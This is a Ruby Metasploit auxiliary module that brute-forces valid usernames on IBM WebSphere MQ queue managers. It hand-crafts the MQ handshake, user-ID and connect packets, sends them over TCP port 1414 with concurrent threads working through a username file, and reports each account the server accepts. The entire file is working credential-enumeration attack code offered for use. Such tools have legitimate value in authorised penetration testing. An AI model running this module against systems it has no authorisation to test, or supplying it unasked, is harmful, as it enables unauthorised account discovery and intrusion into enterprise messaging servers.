##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'IBM WebSphere MQ Login Check',
      'Description' => 'This module can be used to bruteforce usernames that can be used to connect to a queue manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.',
      'Author'      => 'Petros Koutroumpis',
      'License'     => MSF_LICENSE
    )
    register_options([
      Opt::RPORT(1414),
      OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 5]),
      OptInt.new('CONCURRENCY', [true, "The number of usernames to check concurrently", 10]),
      OptString.new('QUEUE_MANAGER', [true, "Queue Manager name to use" ,""]),
      OptString.new('CHANNEL', [true, "Channel to use" ,"SYSTEM.ADMIN.SVRCONN"]),
      OptString.new('PASSWORD', [false, "Optional password to attempt with login"]),
      OptPath.new('USERNAMES_FILE',
        [ true, "The file that contains a list of usernames. UserIDs are case insensitive!"]
      )])
    #deregister_options('THREADS')
  end

  def run_host(ip)
    @usernames = []
    if datastore['CHANNEL'].length.to_i > 20
      print_error("Channel name cannot be more that 20 characters.")
      exit
    end
    if datastore['QUEUE_MANAGER'].length.to_i > 48
     print_error("Queue Manager name cannot be more that 48 characters.")
     exit
    end
    begin
      username_list
      rescue ::Rex::ConnectionError
      rescue ::Exception => e
        print_error("#{e} #{e.backtrace}")
      end
      print_line
      if(@usernames.empty?)
        print_status("#{ip}:#{rport} No valid users found.")
      else
        print_good("#{ip}:#{rport} Valid usernames found: #{@usernames}")
        report_note(
          :host => rhost,
          :port => rport,
          :type => 'mq.usernames'
        )
      print_line
    end
  end

  def first_packet(channel,qm_name)
    init1 = "\x54\x53\x48\x20" + 	# StructId
    "\x00\x00\x01\x0c" + 		# MQSegmLen
    "\x01" + 				# ByteOrder
    "\x01" + 				# SegmType
    "\x31" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x00\x00\x01\x11" + 		# Encoding
    "\x04\xb8" + 			# CCSID
    "\x00\x00" + 			# Reserved
    "\x49\x44\x20\x20" + 		# StructId
    "\x0d" + 				# FAPLevel
    "\x26" + 				# CapFlag1
    "\x00" + 				# ECapFlag1
    "\x00" + 				# InierrFlg1
    "\x00\x00" + 			# ReserveD
    "\x00\x00" + 			# MaxMsgBtch
    "\x00\x00\x7f\xec" + 		# MaxTrSize
    "\x06\x40\x00\x00" + 		# MaxMsgSize
    "\x00\x00\x00\x00" + 		# SeqWrapVal
    channel + 				# Channel Name
    "\x51" + 				# CapFlag2
    "\x00" + 				# ECapFlag2
    "\x04\xb8" + 			# ccsid
    qm_name + 				# Queue Manager Name
    "\x00\x00\x00\x01" + 		# HBInterval
    "\x00\x8a" + 			# EFLLength
    "\x00" +				# IniErrFlg2
    "\x00" + 				# Reserved1
    "\x00\xff" + 			# HdrCprsLst
    "\x00\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst1
    "\xff\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst2
    "\x00\x00" + 			# Reserved2
    "\x00\x00\x00\x00" + 		# SSLKeyRst
    "\x00\x00\x00\x0a" + 		# ConvBySkt
    "\x08" + 				# CapFlag3
    "\x00" + 				# ECapFlag3
    "\x00\x00" + 			# Reserved3
    "\x00\x00\x00\x00" + 		# ProcessId
    "\x00\x00\x00\x00" + 		# ThreadId
    "\x00\x00\x00\x1b" + 		# TraceId
    "MQMM09000000" + 			# ProdId
    "MQMID" + "\x20"*43 + 		# MQM ID
    "\x00\x01\x00\x00\xff\xff\xff\xff" +# Unknown1
    "\xff\xff\xff\xff\xff\xff\xff\xff" +# Unknown2
    "\xff\xff\xff\xff\xf1\x18\xa6\x93" +# Unknown3
    "\x2b\x8a\x44\x3c\x67\x53\x73\x08"	# Unknown4
  end

  def second_packet(channel,qm_name)
    init2 = "\x54\x53\x48\x4d" + 	# StructId
    "\x00\x00\x00\xf4" + 		# MQSegmLen
    "\x00\x00\x00\x01" + 		# Convers Id
    "\x00\x00\x00\x00" + 		# Request Id
    "\x02" + 				# ByteOrder
    "\x01" + 				# SegmType
    "\x31" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" + 		# Encoding
    "\xb5\x01" + 			# CCSID
    "\x00\x00" + 			# Reserved
    "\x49\x44\x20\x20" + 		# StructId
    "\x0c" + 				# FAPLevel
    "\x26" + 				# CapFlag1
    "\x00" + 				# ECapFlag1
    "\x00" + 				# IniErrFlg1
    "\x00\x00" + 			# Reserved
    "\x00\x00" + 			# MaxMsgBtch
    "\xec\x7f\x00\x00" + 		# MaxTrSize
    "\x00\x00\x40\x00" + 		# MaxMsgSize
    "\x00\x00\x00\x00" + 		# SeqWrapVal
    channel + 				# Channel Name
    "\x51" + 				# CapFlag2
    "\x00" + 				# ECapFlag2
    "\xb5\x01" + 			# ccsid
    qm_name + 				# Queue Manager Name
    "\x2c\x01\x00\x00" + 		# HBInterval
    "\x8a\x00" + 			# EFLLength
    "\x00" + 				# IniErrFlg2
    "\x00" + 				# Reserved1
    "\x00\xff" + 			# HdrCprsLst
    "\x00\xff\xff\xff\xff\xff\xff" + 	# MsgCprsLst1
    "\xff\xff\xff\xff\xff\xff\xff" + 	# MsgCprsLst2
    "\xff\xff" + 			# MsgCprsLst3
    "\x00\x00" + 			# Reserved2
    "\x00\x00\x00\x00" + 		# SSLKeyRst
    "\x0a\x00\x00\x00" + 		# ConvBySkt
    "\x00" + 				# CapFlag3
    "\x00" + 				# ECapFlag3
    "\x00\x00" + 			# Reserved3
    "\x00\x00\x00\x00" + 		# ProcessId
    "\x00\x00\x00\x00" + 		# ThreadId
    "\x1b\x00\x00\x00" + 		# TraceId
    "MQMM09000000" + 			# ProdId
    "MQMID" + "\x20"*43 		# MQM ID
  end

  def send_userid(userid,uname)

    if datastore['PASSWORD'].nil?
      password = "\x00" * 12
    else
      password = datastore['PASSWORD']
      if (password.length > 12)
        print_warning("Passwords greater than 12 characters are unsupported.  Truncating...")
        password = password[0..12]
      end
      password = password + ( "\x00" * (12-password.length) )
    end
    vprint_status("Using password: '#{password}' (Length: #{password.length})")

    send_userid = "\x54\x53\x48\x4d" + 	# StructId
    "\x00\x00\x00\xa8" + 		# MQSegmLen
    "\x00\x00\x00\x01" + 		# Convers ID
    "\x00\x00\x00\x00" + 		# Request ID
    "\x02" + 				# Byte Order
    "\x08" + 				# SegmType
    "\x30" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" + 		# Encoding
    "\xb5\x01" + 			# CCSID
    "\x00\x00" + 			# Reserved
    "\x55\x49\x44\x20" + 		# StructId
    userid + 				# UserId - Doesnt affect anything
    password +                          # Password
    uname + 				# Long UID - This matters!
    "\x00" + 				# SID Len
    "\x00" * 39 			# Unknown
  end

  def start_conn(qm_name)
    start_conn = "\x54\x53\x48\x4d" + 	# StructId
    "\x00\x00\x01\x38" + 		# MQSegmLen
    "\x00\x00\x00\x01" + 		# Convers ID
    "\x00\x00\x00\x00" + 		# Request ID
    "\x02" + 				# Byte Order
    "\x81" + 				# SegmType
    "\x30" + 				# CtlFlag1
    "\x00" + 				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" + 		# Encoding
    "\xb5\x01" + 			# CCSID
    "\x00\x00" +			# Reserved
    "\x00\x00\x01\x38" + 		# Reply Len
    "\x00\x00\x00\x00" + 		# Compl Code
    "\x00\x00\x00\x00" + 		# Reason Code
    "\x00\x00\x00\x00" + 		# Object Hdl
    qm_name + 				# Queue Manager Name
    "\x4d\x51\x20\x45\x78\x70\x6c" + 	# Appl Name
    "\x6f\x72\x65\x72\x20\x39\x2e" + 	# Appl Name
    "\x30\x2e\x30\x20\x20\x20\x20" + 	# Appl Name
    "\x20\x20\x20\x20\x20\x20\x20" + 	# Appl Name
    "\x1c\x00\x00\x00" + 		# ApplType
    "\x00" * 32 + 			# AccntTok
    "\x03\x00\x00\x00" + 		# MQCONNX
    "\x00\x00\x00\x00" + 		# Options
    "\x46\x43\x4e\x4f" + 		# Struct ID
    "\x02\x00\x00\x00" + 		# Version
    "\x00\x00\x00\x00" + 		# Option
    "\x4d\x51\x4a\x42\x30\x39\x30" + 	# msgid
    "\x30\x30\x30\x30\x34" + 		# msgid
    "MQM" + "\x20" * 45 + 		# MqmId
    "\x00" * 68				# Unknown
  end

  def username_list
    username_data = get_usernames
    while (username_data.length > 0)
      t = []
      r = []
      begin
        1.upto(datastore['CONCURRENCY']) do
          this_username = username_data.shift
          if this_username.nil?
            next
          end
          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_username) do |username|
            connect
            vprint_status "#{rhost}:#{rport} - Sending request for #{username}..."
            channel = datastore['CHANNEL']
            if channel.length > 20
              print_error("Channel name must be less than 20 characters.")
              next
            end
            channel += "\x20" * (20-channel.length.to_i) # max channel name length is 20
            qm_name = datastore['QUEUE_MANAGER']
            if qm_name.length > 48
              print_error("Queue Manager name must be less than 48 characters.")
              next
            end
            qm_name += "\x20" * (48-qm_name.length.to_i) # max queue manager name length is 48
            if username.length > 12
              print_error("Username must be less than 12 characters.")
              next
            end
            uname = username + "\x20" * (64-username.length.to_i)
            userid = username + "\x20" * (12 - username.length.to_i) # this doesnt make a difference
            timeout = datastore['TIMEOUT'].to_i
            s = connect(false,
              {
                'RPORT' => rport,
                'RHOST' => rhost,
              }
            )
            s.put(first_packet(channel,qm_name))
            first_response = s.get_once(-1,timeout)
            if first_response[-4..-1] == "\x00\x00\x00\x02" # CHANNEL_WRONG_TYPE code
              print_error("Channel needs to be MQI type!")
              next
            end
            s.put(second_packet(channel,qm_name))
            second_response = s.get_once(-1,timeout)
            s.put(send_userid(userid,uname))
            s.put(start_conn(qm_name))
            data = s.get_once(-1,timeout)
            if data[41..44] == "\x00\x00\x00\x00"
                  print_status("Found username: #{username}")
                  @usernames << username
            end
            disconnect
          end
        end
        t.each {|x| x.join }
      end
    end
  end

  def get_usernames
    if(! @common)
      File.open(datastore['USERNAMES_FILE'], "rb") do |fd|
        data = fd.read(fd.stat.size)
        @common = data.split(/\n/).compact.uniq
      end
    end
    @common
  end

end
